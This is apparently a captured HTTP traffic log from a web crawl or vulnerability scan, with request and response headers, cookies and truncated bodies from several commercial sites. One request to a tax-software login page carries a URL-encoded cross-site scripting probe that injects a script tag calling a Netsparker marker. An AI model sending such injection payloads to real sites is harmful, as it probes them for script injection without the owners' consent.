Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
Set-Cookie: ASP.NET_SessionId=y3mspj55lrmqru55pqpftdmj; path=/; HttpOnly
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Fri, 06 May 2011 21:49:16 GMT
Content-Length: 5394

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><link href="Pubs/SC
...[SNIP]...

GET /visitor/index.php?_m=livesupport&_a=htmlcode&departmentid=0 HTTP/1.1
Host: support.trust-guard.com
Connection: keep-alive
Referer: https://www.trust-guard.com/compare-Trust-Seals-s/1.htm
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=147269874.1303748966.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=147269874.1166530582.1303748966.1303748966.1303758698.2; SWIFT_client=a%3A1%3A%7Bs%3A7%3A%22groupid%22%3Bs%3A1%3A%221%22%3B%7D

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:49:42 GMT
Server: Apache/1.3.41 Ben-SSL/1.59
Cache-Control: max-age=3600, must-revalidate
Expires: Sun, 08 May 2011 00:49:42 GMT
X-Powered-By: PHP/5.2.17
Set-Cookie: SWIFT_visitor=a%3A1%3A%7Bs%3A8%3A%22isbanned%22%3Bs%3A1%3A%220%22%3B%7D; path=/
Set-Cookie: SWIFT_sessionid80=dxzxxi50ag628l80x5yuzob4lbj3yre8; path=/
Set-Cookie: SWIFT_visitor=a%3A3%3A%7Bs%3A11%3A%22countrycode%22%3Bs%3A4%3A%22none%22%3Bs%3A11%3A%22countryname%22%3Bs%3A4%3A%22none%22%3Bs%3A9%3A%22notecheck%22%3Bs%3A1%3A%221%22%3B%7D; path=/
Keep-Alive: timeout=2, max=200
Connection: Keep-Alive
Content-Type: text/javascript
Content-Length: 11601

//===============================
// Kayako LiveResponse
// Copyright (c) 2001-2011
// http://www.kayako.com
// License: http://www.kayako.com/license.txt
//===============================

var sessio
...[SNIP]...

GET /ecommerce/index.php?action=tracking_script HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.clone-systems.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:55:30 GMT
Server: Apache
Set-Cookie: SHOP_SESSION_TOKEN=sea1lu7lraticbpq2b4jg4uup4; expires=Sun, 08-May-2011 00:55:30 GMT; path=/ecommerce/; domain=.clone-systems.com
Expires: Sat, 14 May 2011 00:55:30 +0000
Cache-Control: public,maxage=604800
Pragma: public
Content-Length: 191
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/javascript

               var img = new Image(1, 1);
               img.src = 'https://www.clone-systems.com/ecommerce/index.php?action=track_visitor&'+new Date().getTime();
               img.onload = function() { return true; };

GET /stylesheet.php?cssid=31&mediatype=screen HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Host: www.clone-systems.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:04:33 GMT
Server: Apache
Set-Cookie: CMSSESSIDe4d04fcf=0fq4i44s8389og2150hod7eo10; path=/
Expires: Sat, 07 May 2011 04:04:33 GMT
Cache-Control: public, max-age=10800
Last-Modified: Sat, 07 May 2011 00:54:52 GMT
X-Powered-By: Nette Framework
Etag: "f1688bee3cc8398af5a80c595e645816"
Vary: Accept-Encoding
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/css; charset=utf-8
Content-Length: 2811

/* Start of CMSMS style sheet 'Accessibility and cross-browser tools' */
/* accessibility */
/* menu links accesskeys */
span.accesskey {
text-decoration: none;
}
/* accessibility divs are hidde
...[SNIP]...

GET /Login/PopupMessage.aspx?usr=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000341)%3C/script%3E HTTP/1.1
Host: www.taxnotebook.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:49:53 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: SessionStateGUID=6faf2a0c-e41b-6cdb-5915-512ec79c7b90; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 6653

<img src='../images/tnlogo.gif' width='96' height='23'>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
       <title>Tax Notebook</title>
       <LINK href="../Main.css" typ
...[SNIP]...

GET /Login/TNLogin.aspx HTTP/1.1
Host: www.taxnotebook.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: refaccno=759456; ASPSESSIONIDAABTDSBD=FMKFIPIDJPCACPMKKHGMNJHE

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:44:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: SessionStateGUID=819ade93-ce22-7d31-b53b-15e41cb9a483; path=/
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 10347

<img src='../images/tnlogo.gif' width='96' height='23'>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
   <HEAD>
       <title>Tax Notebook</title>
       <link href="../Main.css" typ
...[SNIP]...

GET /tnstart.asp?welcome=PA7594560 HTTP/1.1
Host: www.taxnotebook.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 302 Object moved
Date: Sat, 07 May 2011 01:44:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Location: Login/TNLogin.aspx
Content-Length: 139
Content-Type: text/html
Set-Cookie: refaccno=759456; path=/
Set-Cookie: ASPSESSIONIDCSTDRTTC=HAGFLEACNJKIJHHDDPDCFBCH; path=/
Cache-control: private

<head><title>Object moved</title></head>
<body><h1>Object Moved</h1>This object may be found <a HREF="Login/TNLogin.aspx">here</a>.</body>

GET / HTTP/1.1
Host: www.trpc401k.com
Connection: keep-alive
Referer: http://www.trpcweb.com/content/account-support
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:45:45 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Pragma: no-cache
Set-Cookie: ASP.NET_SessionId=r0m1zyj0xiq1vqe0djlxyhea; path=/; HttpOnly
Set-Cookie: QTWEB=CSS=BLUE3-NS.css&LANGUAGE=; path=/; secure; HttpOnly
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Content-Type: text/html; charset=utf-8
Content-Length: 12169

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html>
<head>
<META http-equiv="Content-Type" content="text/html">
<meta http-equiv="Content-Type" content=
...[SNIP]...

GET /pub/agent.dll?qscr=fbak&&zz=1247500409281&&zz=1304739644741 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=fbak&&zz=1247500409281
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DFAQ%25252520Support%2525253ASearch%25252520Results%252526pidt%25253D1%252526oid%25253Dhttp%2525253A//www.expedia.com/pub/agent.dll%2525253Fqscr%2525253Dfbak%25252526%25252526zz%2525253D1247500409281%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; s1=`user=v.8,0,EX01CC562A07$F4$B5203000g$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50K$A9$11$90$F1$8C$A5$D1$82$AB$89$FB!e02000`133

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Content-Type: text/html; charset=iso-8859-1
Vary: Accept-Encoding
Date: Fri, 06 May 2011 22:40:52 GMT
Connection: keep-alive
Connection: Transfer-Encoding
Set-Cookie: s1=`user=v.8,0,EX0183E3F010$F4$B5204000k$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$83$A7rJ$D3$B5$CD3$82$AB$89$FB!e02000`129; Domain=.expedia.com; path=/
Set-Cookie: p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`airp=v.1,AUS`gacct=v.1,1,215819496`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`188; expires=Sunday, 31-Dec-2016 23:59:59 GMT; Domain=.expedia.com; path=/
Content-Length: 155628

<META HTTP-EQUIV="Content-Type" content="text/html; c
...[SNIP]...

GET /lbmc HTTP/1.1
Host: www.gofileroom.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 301 Moved Permanently
Content-Length: 154
Content-Type: text/html
Location: http://www.gofileroom.com/lbmc/
X-Powered-By: ASP.NET
Date: Sat, 07 May 2011 01:44:04 GMT
Set-Cookie: BIGipServerGFR_WWW_HTTP=3090734602.20480.0000; path=/

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://www.gofileroom.com/lbmc/">here</a></body>

GET /en_US/i/btn/btn_xpressCheckout.gif HTTP/1.1
Host: www.paypal.com
Connection: keep-alive
Referer: http://www.clone-systems.com/ecommerce/cart.php?suggest=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 00:56:08 GMT
Server: Apache
Set-Cookie: Apache=10.191.114.122.1304729768396297; path=/; expires=Mon, 29-Apr-41 00:56:08 GMT
Last-Modified: Tue, 23 Oct 2007 03:08:13 GMT
Accept-Ranges: bytes
Content-Length: 3091
Strict-Transport-Security: max-age=500
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/gif

GIF89a..*....OXS........{...........:......................+..............6.:b...........E................................ax....o....j...........9........O..\......................d....../Tu.......
...[SNIP]...

GET /serving/showbanner.php?zone_id=45274&user_id=17557&site_id=15418&size_id=1&type_id=2&flag=12&b1=%239cbce8&b2=%23000000&b3=%23FFFFFF&b4=%23000000&ref=http%3A%2F%2Fkroogy.com%2Fsearch%2Fweb%2FLinkbucks%2520vlad%2520modelS&token=ZGs2zNQg0yEhMS3P1PklWi0pMM7PIdh8fSoqz88i03z5alom3iLRfA&random=7483 HTTP/1.1
Host: ads.adonion.com
Proxy-Connection: keep-alive
Referer: http://kroogy.com/search/web/Linkbucks%20vlad%20modelS
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 200 OK
Date: Fri, 06 May 2011 22:03:52 GMT
Server: Apache/2.2.17 (Fedora)
X-Powered-By: PHP/5.3.3
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache, must-revalidate
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 443

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Advertisement</title>
<meta http-equiv="Content
...[SNIP]...

GET /bh/set.aspx?action=add&advid=2250&token=EXPD1 HTTP/1.1
Host: bh.contextweb.com
Proxy-Connection: keep-alive
Referer: http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=80312807C795402E93C5016D2A2A3E1B;ord=7169916033744.81?
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.1; C2W4=3bZ_cGKSaikCutesUynzUXb59QbtOHa7Nv35a38qe_dW_2SdvoXWHsQ; cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7; pb_rtb_ev=1:535495.0c2aede6-6bb6-11e0-8fe6-0025900a8ffe.1|530739.4dab7d35-b1d2-915a-d3c0-9d57f9c66b07.0|535039.9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC.0|535461.2931142961646634775.1; cr=2|1|-8588966416881931568|1; V=wOebwAz4UvVv; FC1-WC=^53620_1_2QLwy

HTTP/1.1 200 OK
Server: Sun GlassFish Enterprise Server v2.1
CW-Server: cw-web84
Set-Cookie: V=wOebwAz4UvVv; Domain=.contextweb.com; Expires=Mon, 30-Apr-2012 22:33:36 GMT; Path=/
Set-Cookie: cwbh1=541%3B05%2F24%2F2011%3BLIFL1%0A1697%3B05%2F24%2F2011%3BFCRT1%0A2354%3B05%2F24%2F2011%3BZETC1%0A2532%3B05%2F26%2F2011%3BAMQU2%0A1443%3B05%2F30%2F2011%3BNETM7%0A2250%3B06%2F05%2F2011%3BEXPD1; Domain=.contextweb.com; Expires=Sat, 09-Apr-2016 22:33:36 GMT; Path=/
Content-Type: image/gif
Date: Fri, 06 May 2011 22:33:35 GMT
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT"
Content-Length: 49

GIF89a...................!.......,...........T..;

GET /ds/queryPost.flow?SessionInfo=237918117%3A6229CD39A2E2A4C%3A1&Portal=lbmc&Template=ds%2FphoneModeRedemption.tmpl&Form=lbmcSmartPage&ReturnUrl=https%3A%2F%2Fbroker.gotoassist.com%2Fh%2Flbmc&Name_Full=&CompanyName=&Question=&Continue=Continue HTTP/1.1
Host: broker.gotoassist.com
Connection: keep-alive
Referer: https://broker.gotoassist.com/h/lbmc?Portal=lbmc&Target=ds%2FqueryPost.flow&Template=ds%2FphoneModeRedemption.tmpl&JavaScript=true&Form=lbmcSmartPage&Name_Full=&CompanyName=&Question=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: dtsSession=SessionInfo%3D237918117%253A6229CD39A2E2A4C

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:44:03 GMT
Server: Apache
Cache-Control: no-cache
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Content-Length: 7600

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>GoToAssist: live online customer support</title>

<script language="JavaScript">
<!--
function empty
...[SNIP]...

GET /javaScriptTester.tmpl?SessionInfo=237918117:6229CD39A2E2A4C&Portal=lbmc&enabled=true&screenWidth=1920&screenHeight=1156&windowWidth=1066&windowHeight=925&javaEnabled=false HTTP/1.1
Host: broker.gotoassist.com
Connection: keep-alive
Referer: https://broker.gotoassist.com/h/lbmc?Portal=lbmc&Target=ds%2FqueryPost.flow&Template=ds%2FphoneModeRedemption.tmpl&JavaScript=true&Form=lbmcSmartPage&Name_Full=&CompanyName=&Question=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: dtsSession=SessionInfo%3D237918117%253A6229CD39A2E2A4C

HTTP/1.1 200 OK
Date: Sat, 07 May 2011 01:43:54 GMT
Server: Apache
Content-Length: 3
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=ISO-8859-1

OK

GET /activityi;src=2588783;type=nausc547;cat=naush134;u=80312807C795402E93C5016D2A2A3E1B;ord=7169916033744.81? HTTP/1.1
Host: fls.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; _msuuid_4561iuf9g3q501317=389E4AAF-0A51-4C2B-B96D-B96D82DE5465; id=22fba3001601008d|1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,1676624/667470/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

HTTP/1.1 200 OK
X-Frame-Options: ALLOWALL
Server: Floodlight
Date: Fri, 06 May 2011 22:33:33 GMT
Expires: Fri, 06 May 2011 22:33:33 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
Content-Type: text/html
X-XSS-Protection: 1; mode=block
Content-Length: 975

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><title></title></head><body style="background-color: transparent">
<img src="http://bh.contextweb.com/bh/set.aspx?action=add&advid=2250&token=EXPD1" width="1" height="1" border="0">
...[SNIP]...

GET /ps/ifr?container=friendconnect&mid=0&nocache=0&view=profile&parent=http%3A%2F%2Fallatsea.net%2F&url=http%3A%2F%2Fwww.google.com%2Ffriendconnect%2Fgadgets%2Frecommended_pages.xml&communityId=14672211859858017590&caller=http%3A%2F%2Fallatsea.net%2Fby-category%2FCruising&rpctoken=160477709 HTTP/1.1
Host: iqavu79a908u5vcecp0pq80hhbhkv33b-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 302 Moved Temporarily
Location: http://iqavu79a908u5vcecp0pq80hhbhkv33b-a-fc-opensocial.googleusercontent.com/gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/recommended_pages.xml&container=peoplesense&parent=http://allatsea.net/&mid=0&view=profile&d=0.558.7&lang=en&communityId=14672211859858017590&caller=http://allatsea.net/by-category/Cruising#st=e%3DAOG8GaCH24Wbs%252FtHKSRzPbuUa3ClOhJwKR%252FI44hbysGf8a07Je3yd3sBXpdpHwrFjASbHwSJ4MIemKBMIo2xfKbmj9wjhfcE8dAY80JCjkY7BmK8NYqUHT63L8mN4MfhCVVCqEcWQg7a3%252Bo67lUB25VpXtvh%252FpUT1FYoYxNiG2pUvcyfVdsyVpr%252FqRUoU9I%252F0RKyb6lmisuInwl7shMbDVED1HO7rVfvD3%252ByCIC31wfivaSKlaDKZwQ%253D%26c%3Dpeoplesense&rpctoken=160477709&
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 21:10:04 GMT
Expires: Fri, 06 May 2011 21:10:04 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 875

<HTML>
<HEAD>
<TITLE>Moved Temporarily</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Moved Temporarily</H1>
The document has moved <A HREF="http://iqavu79a908u5vcecp0pq80hhbhkv33b-a-fc-o
...[SNIP]...

GET /ps/ifr?container=friendconnect&mid=0&nocache=0&view=profile&parent=http%3A%2F%2Fallatsea.net%2F&url=http%3A%2F%2Fwww.google.com%2Ffriendconnect%2Fgadgets%2FnewsletterSubscribe.xml&communityId=14672211859858017590&caller=http%3A%2F%2Fallatsea.net%2Fsubscribe.htm&rpctoken=1596537502&prefs=%7B%22newsletterHeadlineText%22%3A%22Subscribe+to+All+At+Sea%21%22%2C%22newsletterStandardText%22%3A%22Get+updates+of+our+latest+content%22%7D HTTP/1.1
Host: k830suiki828goudg9448o6bp0tpu5r3-a-fc-opensocial.googleusercontent.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

HTTP/1.1 302 Moved Temporarily
Location: http://k830suiki828goudg9448o6bp0tpu5r3-a-fc-opensocial.googleusercontent.com/gadgets/ifr?url=http://www.google.com/friendconnect/gadgets/newsletterSubscribe.xml&container=peoplesense&parent=http://allatsea.net/&mid=0&view=profile&d=0.558.7&lang=en&up_newsletterHeadlineText=Subscribe+to+All+At+Sea!&up_newsletterStandardText=Get+updates+of+our+latest+content&communityId=14672211859858017590&caller=http://allatsea.net/subscribe.htm#st=e%3DAOG8GaCwxSmZcFnNUPAD8vyeNrdxLPncr%252B4kUmdTY8LXILQPe2Ds7i3%252F3XUvkcFQ7zbslUFrEerTrBQjjB83S4aXP5rD2Q8OxyrCU9ufr91BJgf0x2LUkdvtrUi%252B%252F4kisNEncsPNqCHHEQGfat2OZiqW0Rtj5%252Fx0YAM0i%252F2yGVMhWuiffmP4%252B9ifPUWHSq%252BzSuQheTRplR1yDnKJ%252Fb7j7zVJg9HNvgp%252FviOFdhSXFjQhBYtEmSfg1wM%253D%26c%3Dpeoplesense&rpctoken=1596537502&
Content-Type: text/html; charset=UTF-8
Date: Fri, 06 May 2011 21:13:03 GMT
Expires: Fri, 06 May 2011 21:13:03 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Content-Length: 1002

<HTML>
<HEAD>
<TITLE>Moved Temporarily</TITLE>
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000">
<H1>Moved Temporarily</H1>
The document has moved <A HREF="http://k830suiki828goudg9448o6bp0tpu5r3-a-fc-o
...[SNIP]...

GET /pview?event=pview&publisher=0adb3f43-ad3c-4c7f-9bf8-7997b41d316a&hostname=www.compliancepoint.com&location=%2Fsub_serv_isc_pci.asp&url=http%3A%2F%2Fwww.compliancepoint.com%2Fsub_serv_isc_pci.asp%3Fgclid%3DCJu4wszV1KgCFQ075QodRCyFgQ&sessionID=1304748967447.90099&fpc=7ea9e7b-12fc9194618-5db8a672-1&ts1304748975271.0&r_sessionID=&hash_flag=&shr=&count=1 HTTP/1.1
Host: l.sharethis.com
Proxy-Connection: keep-alive
